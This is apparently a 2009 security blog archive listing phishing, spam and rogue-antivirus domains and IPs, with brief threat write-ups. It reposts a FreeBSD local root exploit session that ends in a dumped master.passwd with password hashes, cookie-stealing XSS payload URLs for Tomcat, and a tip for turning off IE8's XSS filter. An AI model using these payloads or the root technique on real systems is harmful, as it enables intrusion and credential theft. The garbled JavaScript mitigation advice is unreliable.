89.33.184.138 Romania
114.42.119.236 Taiwan, Province Of China
220.88.62.193 Korea, Republic Of
112.164.231.195 Korea, Republic Of
67.66.92.186 United States
192.35.222.23 United States
98.239.53.112 United States
211.56.233.178 Korea, Republic Of
98.204.223.239 United States
92.100.238.0 Russian Federation
162.105.113.88 China
121.182.163.238 Korea, Republic Of
200.79.216.225 Mexico
98.225.215.185 United States
67.160.46.239 United States
89.110.12.115 Russian Federation
98.224.160.221 United States
97.85.189.53 United States
76.237.5.121 United States
58.168.116.29 Australia
76.179.11.105 United States
70.126.56.149 United States
193.151.59.190 Ukraine
200.7.166.145 Bolivia
24.92.178.72 United States
88.216.25.114 Lithuania
99.232.235.89 Canada
115.43.186.103 Taiwan, Province Of China
118.42.212.181 Korea, Republic Of
121.185.21.213 Korea, Republic Of
121.174.84.123 Korea, Republic Of
68.69.204.104 Canada
61.58.111.158 Taiwan, Province Of China
94.54.195.12 Turkey
201.13.94.177 Brazil
121.145.43.209 Korea, Republic Of
188.97.120.80 Germany
80.216.136.246 Sweden
85.67.63.112 Hungary
70.235.17.227 United States
221.143.60.99 Korea, Republic Of
87.7.150.120 Italy
193.110.77.60 Ukraine
93.80.33.215 Russian Federation
67.49.12.244 United States
121.1.71.38 Korea, Republic Of
87.10.29.149 Italy
121.159.139.134 Korea, Republic Of
84.125.210.129 Spain
125.178.173.231 Korea, Republic Of
93.126.104.158 Ukraine
128.130.56.33 Austria
129.22.80.237 United States
220.116.89.236 Korea, Republic Of
24.42.76.57 United States
98.30.33.240 United States
84.3.94.38 Hungary
121.164.68.74 Korea, Republic Of
24.132.52.67 Netherlands
83.85.192.248 Netherlands
70.121.202.156 United States
64.246.85.154 United States
67.187.153.18 United States
98.240.224.97 United States
152.1.40.235 United States
79.9.35.42 Italy
69.204.254.166 United States
121.217.36.61 Australia
24.238.162.9 United States
121.128.195.90 Korea, Republic Of
109.60.245.57 Italy
119.64.109.187 Korea, Republic Of

World Of Warcraft Phishing Website

2009-12-22T21:33:00.001-08:00

World of Warcraft (WoW) players should be on the lookout for phishing sites trying to get their user info.

Becareful for this link..

Malaysia Property Company Defaced, www.metrolink.com.my

2009-12-22T03:01:00.000-08:00

My reader sent me email to post regarding the defacement for the Metrolink.com.my, this website providing full range of property at Malaysia include Sale, Rent, Project Development Launching and etc.

Before defaced:

After defaced:

Thanks for my reader!

Brittany Murphy's Death SEO Poisoning Among Security Vendors

2009-12-22T02:34:00.000-08:00

Sudden death of Hollywood Celebrity's Brittany Murphy at age 32 during last weekend, really get bad guys interested to launch SEO poisoning at search result. This bad news really driving lots of users curiosity to become victim of scareware. Due to this incident, several articles regarding Brittany Murphy were posted by security vendors in their public blog.

Wensense - Brittany Murphy's Death SEO Poisoning
F-Secure - Brittany Murphy SEO
Trendmicro - News on Brittany Murphy’s Death Lead to FAKEAV
McAfee - Brittany Murphy Searching Dangers

Although whole worlds are in the Christmas mood, bad guys never stop to continue their making money nest. :)

Viagra & EuroSoft Promotion Spamming For Christmas

2009-12-21T03:52:00.000-08:00

Spamming Links:

http://www.zhdfght.com/
http://www.piyamcy.cn
http://prettymoral.com
http://www.ingobdue.cn
http://nvaecs.angelfire.com
http://ienroller.angelfire.com
http://www.iwxkugue.cn
http://e10bee.suyivoqiw.cn/
http://biznews7.org/news
http://cid-a97391e298c94785.spaces.live.com
http://f2a63275.wejowafob.cn/
http://6a38a4.zehaqomay.cn/
http://97305a2a71.sudugefon.cn/
http://c301d1b3f9f7.vasesomer.cn/
http://30319b.bitapacoh.cn/
http://50386a9.rihogagox.cn/
http://cid-3e4630a031e273ff.spaces.live.com/
http://www.rxultimatespell.com/
http://f62db.xamobejep.cn/
http://moonnake.net/
http://11knife.ru/
http://001c2f.bapunat.cn/
http://1a68d3b7.hiyusev.cn/
http://now.to/5xt7
http://e5c8.cohuzkp.cn/
http://7e5629c7.jisurim.cn/
http://1680.cevupxn.cn/
http://bca.vocimtf.cn/
http://www.pharmlorens61.cn/
http://284c62d3.tabuhhh.cn/
http://dfe6.cetitgv.cn/
http://oskjcjed.cn/
http://89a.yomepmm.cn/
http://55a1.qofezgk.cn/
http://www.goziywb.cn/
http://fd78.yiruxgl.cn/
http://zokxfde.cn/
http://c3ceea7bf5.huweynf.cn/

http://kloperesofes.net/
http://sruisorehoes.net/
http://koperdinoses.com/
http://xirobenasoes.com/
http://ziopraventoes.com/
http://irgalometrices.com/

Fuckbook invitation in email

2009-12-21T03:34:00.000-08:00

Just update, do you guys received tons of spam email regarding "FuckBook Invite #xxxxxx" ? I do received lots of similar messages.

Suspicious links:

http://nvaecs.angelfire.com
http://ienroller.angelfire.com
http://pcfreehost.tripod.com
http://ecbrowse.tripod.com
http://quickreviews.tripod.com
http://stupsihasi.tripod.com

Acrobat Zero Day - media.newPlayer(null) CVE-2009-4324

2009-12-17T07:03:00.000-08:00

Since last week, Acrobat Zero-Day created lots attention to security industry and official vendor patch only available by next year 12 Jan 2010.

According to Net-Security, Adobe applications top the list of four applications identified in US NIST.

Metasploit Framework add this Zero Day exploit in their latest database.
http://downloads.securityfocus.com/vulnerabilities/exploits/adobe_media_newplayer.rb

Malicious PDF files crafted with this Zero-Day exploit are in wilds. So as usual, I recommend everyone to be more extra vigilant when receiving PDF files through internet.

Temporary solution for Adobe Reader either one
- Disable the "Disable JavaScript" features in your Adobe Reader.
- Edit registry (.reg) file

[HKEY_CLASSES_ROOT\AcroExch.Document.7]
"EditFlags"=hex:00,00,00,00

- Seek for alternative PDF reader that available in market.

Rogue Antivirus - Advanced Virus Remover & PC-Scanner2010.com

2009-12-17T06:06:00.001-08:00

Browsing to link hxxxp://pc-scanner2010.com will prompt out scare message that trick users to download the rogue AntiVirus.

hxxxp://advanced-virusremover-2010.com

IP address: 193.104.110.50

advanced-virus-remover-2009.com
advanced-virusremover-2010.com
advanced-virusremover2009.com
avrdownnew5.com
avrdownnew6.com
avrdownnew7.com
avrdownnew8.com
avrdownnew9.com
buy-internet-security2010.com
buy-internetsecurity2010.com
downloadavr13.com
greatcrypt.com
mail.avrdownnew9.com
mail.buy-internet-security2010.com
mail.buy-internetsecurity2010.com
mail.masterhost.co.in
mail.pc-scanner-2011.biz
mail.pc-scanner-2012.net
mail.pc-scanner2010.com
masterhost.co.in
ns1.masterhost.co.in
pc-scanner-2011.biz
pc-scanner-2012.net
pc-scanner2010.com
vsproject.net
www.advanced-virus-remover-2009.com
xxx-white-tube.net

IP Address: 91.207.116.55

10-open-davinci.com
advancedvirus-remover-2010.com
advancedvirusremover-2009.com
best-scan-pc.biz
best-scan-pc.com
best-scan.com
best-scanpc.com
best-scanpc.net
best-scanpc.org
coolcount2.com
downloadavr6.com
downloadavr8.com
hard-xxx-tube.com
mail.10-open-davinci.com
mail.advanced-virus-remover-2009.com
mail.advanced-virus-remover2010.com
mail.advanced-virusremover-2010.com
mail.advanced-virusremover2009.com
mail.advancedvirus-remover-2010.com
mail.advancedvirusremover-2009.com
mail.best-scan-pc.com
mail.best-scan-pc.net
mail.best-scan.com
mail.best-scan.net
mail.best-scanpc.org
mail.cathrynzfunz.com
mail.coolcount1.com
mail.downloadavr6.com
mail.downloadavr7.com
mail.downloadavr8.com
mail.greatcrypt.com
mail.hard-xxx-tube.com
mail.testavrdown.com
mail.testavrdownnew.com
mail.vscodec-pro.net
mail.vsproject.net
mail.xxx-white-tube.net
mail.xxx-white-tube.org
testavrdownnew.com
vscodec-pro.net
white-xxx-tube.com
www.advancedvirus-remover2009.com
www.advancedvirusremover-2009.com
www.best-scan-pc.com
www.best-scanpc.net
www.best-scanpc.org
www.hard-xxx-tube.com
www.onlinescanxppro.com

FIESTA botnet dominance at Vietnam and India

2009-12-16T04:30:00.000-08:00

Recently found one of the believed is FIESTA control panel kits showed the victims mainly from Vietnam and India, although the scale of infected systems small compare to other Zeus, Rustock and etc. Strongly believed that this control panel kits just tip of iceberg within "botnet" families.

From figure 1, I can make summarized that XP "SP1" are dominance of the victims systems compare to Vista, SP2, 2k and 2k3. There have not surprising that lots of internet users are using SP1 although SP2 and SP3 released few years ago.

Among the infected systems, Firefox browser lead among other browsers used to surf internet.

Figure 2 showed list of the possible"Luckysploits" exploits attempts on victims systems, consist of COM, MDAC, XML Parsing, Snapshot, WFI, PDF, VML2, FF behavior and NCT.

The downloaded executable file gain minor rate from Virustotal, and ThreatExpert reports can be review at http://www.threatexpert.com/report.aspx?md5=0095da1c241cb9056b67425dab3d7283

Rogue Antivirus- Internet Security 2010

2009-12-14T05:35:00.000-08:00

Internet Security 2010 is another phony security software that look similar to legitimate security software.

Rogue software usually use scare tactics that trick users with false warnings and alert users to buy the product.

Installer "IS2010.exe"
File
MD5: 0x3199C032F173066DD0E9DB1E7D3C2F67
SHA-1: 0x761B2E2C291527196B920CFD29480422854CD523

File size: 1,414,656 bytes

http://www.threatexpert.com/report.aspx?md5=3199c032f173066dd0e9db1e7d3c2f67

Another rogue security software website that share same IP address with "Internet Security 2010"

Below is the screenshot that copy-exactly from the legitimate CleanMyPC Registry Cleaner.

The legitimate website is http://www.registry-cleaner.net/ with IP 66.39.16.135 . Be aware if the incorrect web link appear in browser address bar.

Phishing - Fake Facebook

2009-12-14T05:16:00.000-08:00

Be caution when you login to the famous social networking portal "Facebook" like figure below, if you noticed the address bar carefully, actually it's a Facebook phishing site.

Figure 2 showed that the username and password used to login the Facebook. Several accounts were recorded in that fake "Facebook".

If you suspect your Facebook account was compromised, immediately change the password at the first place.

Figure1:

Figure2:

IP address:
66.45.237.212
69.10.48.106

Domains sharing same IP address:

05748.t35.com
3sbe.t35.com
accessonlineupdate.t35.com
angelsaddiavolo.t35.com
anggit.t35.com
azitromed.t35.com
banameex-sesion.t35.com
banamex-netkey.t35.com
barnamex.t35.com
bizboost.t35.com
bizbooster.t35.com
bl-lit.t35.com
btrl24.t35.com
demo.t35.com
devilzone.t35.com
dkz1.t35.com
falilat.t35.com
finivest.t35.com
freeware-ad.t35.com
friends09.t35.com
ghhghg.t35.com
jadult.t35.com
meetsaferbuds.t35.com
montagemfotos.t35.com
noriko.t35.com
ns2.t35.com
ogard.t35.com
oijvhalaocp.t35.com
punjat.t35.com
raghil.t35.com
realestateprofiles.t35.com
saadullah.t35.com
spyware-re.t35.com
texas-accountpoker.t35.com
vital.t35.com
wachovlogsinfoonline.t35.com
www.azitromed.t35.com

Close IE 8 Cross-Site Scripting (XSS) Filter

2009-12-08T07:46:00.000-08:00

As aware that we has option to turn-off XSS filter functionality in IE 8 (client side), we also have option to turn-off XSS functionality at Server side by adding under Http Header.

PHP:
header("x-xss-Protection:0");

ASP.net.config:

reference: http://msdn.microsoft.com/zh-cn/library/dd565647(en-us,VS.85).aspx

FreeBSD local r00t zeroday

2009-12-04T09:48:00.000-08:00

Reference source: http://seclists.org/fulldisclosure/2009/Nov/371

** FreeBSD local r00t 0day

Discovered & Exploited by Nikolaos Rangos also known as Kingcope.

Nov 2009 "BiG TiME"

"Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg

There is an unbelievable simple local r00t bug in recent FreeBSD versions.

I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out.

The bug resides in the Run-Time Link-Editor (rtld).

Normally rtld does not allow dangerous environment variables like LD_PRELOAD

to be set when executing setugid binaries like "ping" or "su".

With a rather simple technique rtld can be tricked into

accepting LD variables even on setugid binaries.

See the attached exploit for details.

Example exploiting session

**********************************

%uname -a;id;

FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21

15:48:17 UTC 2009

root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386

uid=1001(kcope) gid=1001(users) groups=1001(users)

%./w00t.sh

FreeBSD local r00t zeroday

by Kingcope

November 2009

env.c: In function 'main':

env.c:5: warning: incompatible implicit declaration of built-in

function 'malloc'

env.c:9: warning: incompatible implicit declaration of built-in

function 'strcpy'

env.c:11: warning: incompatible implicit declaration of built-in

function 'execl'

/libexec/ld-elf.so.1: environment corrupt; missing value for

ALEX-ALEX

# uname -a;id;

FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21

15:48:17 UTC 2009

root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386

uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)

# cat /etc/master.passwd

# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29

kensmith Exp $

root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh

toor:*:0:0::0:0:Bourne-again Superuser:/root:

daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin

operator:*:2:5::0:0:System &:/:/usr/sbin/nologin

bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin

tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin

kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin

games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin

news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin

man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin

sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin

smmsp:*:25:25::0:0:Sendmail Submission

User:/var/spool/clientmqueue:/usr/sbin/nologin

mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin

bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin

proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin

_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin

_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin

uucp:*:66:66::0:0:UUCP

pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico

pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin

www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin

nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin

kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User

&:/home/kcope:/bin/sh

Systems tested/affected

**********************************

FreeBSD 8.0-RELEASE *** VULNERABLE

FreeBSD 7.1-RELEASE *** VULNERABLE

FreeBSD 6.3-RELEASE *** NOT VULN

FreeBSD 4.9-RELEASE *** NOT VULN

*EXPLOIT*

http://seclists.org/fulldisclosure/2009/Nov/371

Spam **05-Dec

2009-12-04T09:41:00.000-08:00

IP Address: 82.204.219.218

*.live.smtp.ru

*.michael.smtp.ru

*.msn.live.smtp.ru

*.my-yahoo-register.smtp.ru

*.ndgcx2zh2.smtp.ru

*.olhardigital.smtp.ru

*.smtp.ru

*.system.smtp.ru

*.uk.smtp.ru

*.working.smtp.ru

2a.smtp.ru

accedipostaitalienesslttpacceso.smtp.ru

altenativo2010.smtp.ru

anjodoamor2007.smtp.ru

beatrisadoyy.smtp.ru

blog-fotos-amanda.smtp.ru

blogger1.smtp.ru

cap1.smtp.ru

cocoleg.smtp.ru

computing.system.smtp.ru

finasa.smtp.ru

ftp2.smtp.ru

hsbc.uk.smtp.ru

hussein.working.smtp.ru

kalamazu2008.smtp.ru

lembrancas.michael.smtp.ru

live.smtp.ru

michael.smtp.ru

mikle.smtp.ru

msgss.smtp.ru

msn.live.smtp.ru

my-yahoo-register.smtp.ru

ndgcx2zh2.smtp.ru

node2.mk.pochta.ru

olhardigital.smtp.ru

pozesursa1.smtp.ru

ssl1.smtp.ru

system.smtp.ru

testing.smtp.ru

uk.smtp.ru

vida.smtp.ru

working.smtp.ru

www.altenativo2010.smtp.ru

www.blog-fotos-amanda.smtp.ru

www.finasa.smtp.ru

www.hsbc.uk.smtp.ru

www.msn.live.smtp.ru

www.my-yahoo-register.smtp.ru

www.ndgcx2zh2.smtp.ru

www.olhardigital.smtp.ru

IP Address: 64.62.181.43

*.fileave.com

2a.fileave.com

badkiddies.fileave.com

bandaeva.fileave.com

binuser.fileave.com

camimura.fileave.com

casinhabranca.fileave.com

contempt.fileave.com

ericschevy.fileave.com

finkel.fileave.com

googlevideo.fileave.com

gtemplates.fileave.com

ovhsux.fileave.com

scn2.fileave.com

tikam.fileave.com

trustha.fileave.com

vembebe.fileave.com

xscan.fileave.com

zenka.fileave.com

zzzz.fileave.com

IP Address: 217.116.46.139

*.auszer.hu

*.egylap.hu

*.mail.webmester.net

*.webmester.net

auszer.hu

auto-tuning.hu

boltmix.com

csofek.hu

duoeotvos.com

egylap.hu

hirdet.info

hirdet.net

kezdo.net

kontaktspray.com

kontaktspray.hu

kpeg.hu

lakeinvest.hu

mail.auszer.hu

mail.auto-tuning.hu

mail.csofek.hu

mail.egylap.hu

mail.kemence.net

mail.kpeg.hu

mail.nevjegytar.hu

mail.oxalis.hu

mail.relaxinfra.hu

mail.rudasy.hu

mail.vicc.net

mail.webmester.net

motobatt.info

motor-akku.hu

nevjegytar.hu

ns2.webmester.net

ns3.webmester.net

oxalis.hu

proelektro.info

relaxinfra.hu

root.mail.webmester.net

root.webmester.net

rudasy.hu

tokol.net

tokoliuszoda.hu

vicc.net

webmester.net

wiha.info

www.vicc.net

www.webmester.net

IP Address: 218.93.205.19

*.guarddog2009.com

brans.pl

dl.guarddog2009.com

guarddog2009.com

root.guarddog2009.com

www.brans.pl

www.guarddog2009.com

www.zief.pl

zief.pl

Apache Tomcat 404 error Vulnerability

2009-12-02T07:50:00.000-08:00

Reference: http://websecurity.com.ua/3114

Vulnerable:

Apache Software Foundation Tomcat 3.2.1

Apache Software Foundation Tomcat 3.2

Apache Software Foundation Tomcat 3.1.1

Apache Software Foundation Tomcat 3.1

Apache Software Foundation Tomcat 3.0

Exploit:

http://www.example.com/?offset=1&cid=1&limit=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/?offset=1&cid=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/?offset=%3Cscript%3Ealert(document.cookie)%3C/script%3E&cid=1

Reference: http://websecurity.com.ua/3114

Rogue Antivirus ** 27-Nov

2009-11-27T06:16:00.000-08:00

IP Address: 91.207.116.55

10-open-davinci.com

advanced-virus-remover2010.com

advanced-virusremover-2009.com

advanced-virusremover-2010.com

advancedvirus-remover-2010.com

advancedvirusremover-2009.com

best-scan-pc.biz

best-scan-pc.com

best-scan-pc.net

best-scan.com

best-scan.net

best-scanpc.com

best-scanpc.net

best-scanpc.org

cathrynzfunz.com

coolcount1.com

downloadavr6.com

downloadavr7.com

downloadavr8.com

greatcrypt.com

hard-xxx-tube.com

mail.10-open-davinci.com

mail.advanced-virus-remover-2009.com

mail.advanced-virus-remover2010.com

mail.advanced-virusremover-2010.com

mail.advanced-virusremover2009.com

mail.advancedvirus-remover-2010.com

mail.advancedvirusremover-2009.com

mail.best-scan-pc.com

mail.best-scan-pc.net

mail.best-scan.com

mail.best-scan.net

mail.best-scanpc.org

mail.cathrynzfunz.com

mail.coolcount1.com

mail.downloadavr6.com

mail.downloadavr7.com

mail.downloadavr8.com

mail.greatcrypt.com

mail.hard-xxx-tube.com

mail.testavrdown.com

mail.testavrdownnew.com

mail.vscodec-pro.net

mail.vsproject.net

mail.xxx-white-tube.net

mail.xxx-white-tube.org

testavrdown.com

testavrdownnew.com

vscodec-pro.net

white-xxx-tube.com

www.advancedvirus-remover2009.com

www.advancedvirusremover-2009.com

www.best-scan-pc.com

www.best-scanpc.net

www.best-scanpc.org

www.hard-xxx-tube.com

www.onlinescanxppro.com

xxx-white-tube.org

IP Address: 87.98.254.201

fastzonescan-now.com

systemprotection-zone.com

IP Address: 88.198.239.161

my-protectedzone.net

static.88-198-239-161.clients.your-server.de

todozone-guard.com

IP Address: 93.174.95.135

experimentalways.com

handutilities.com

mail.experimentalways.com

mail.handutilities.com

mail.toolsand.com

mail.yourtoolscheap.com

ns1.handutilities.com

thesecurityutility.net

toolsand.com

www.dvdprotools.com

www.onlineworldcar.com

www.onlineworldtech.com

www.toolsand.com

www.yourtoolscheap.com

yourtoolscheap.com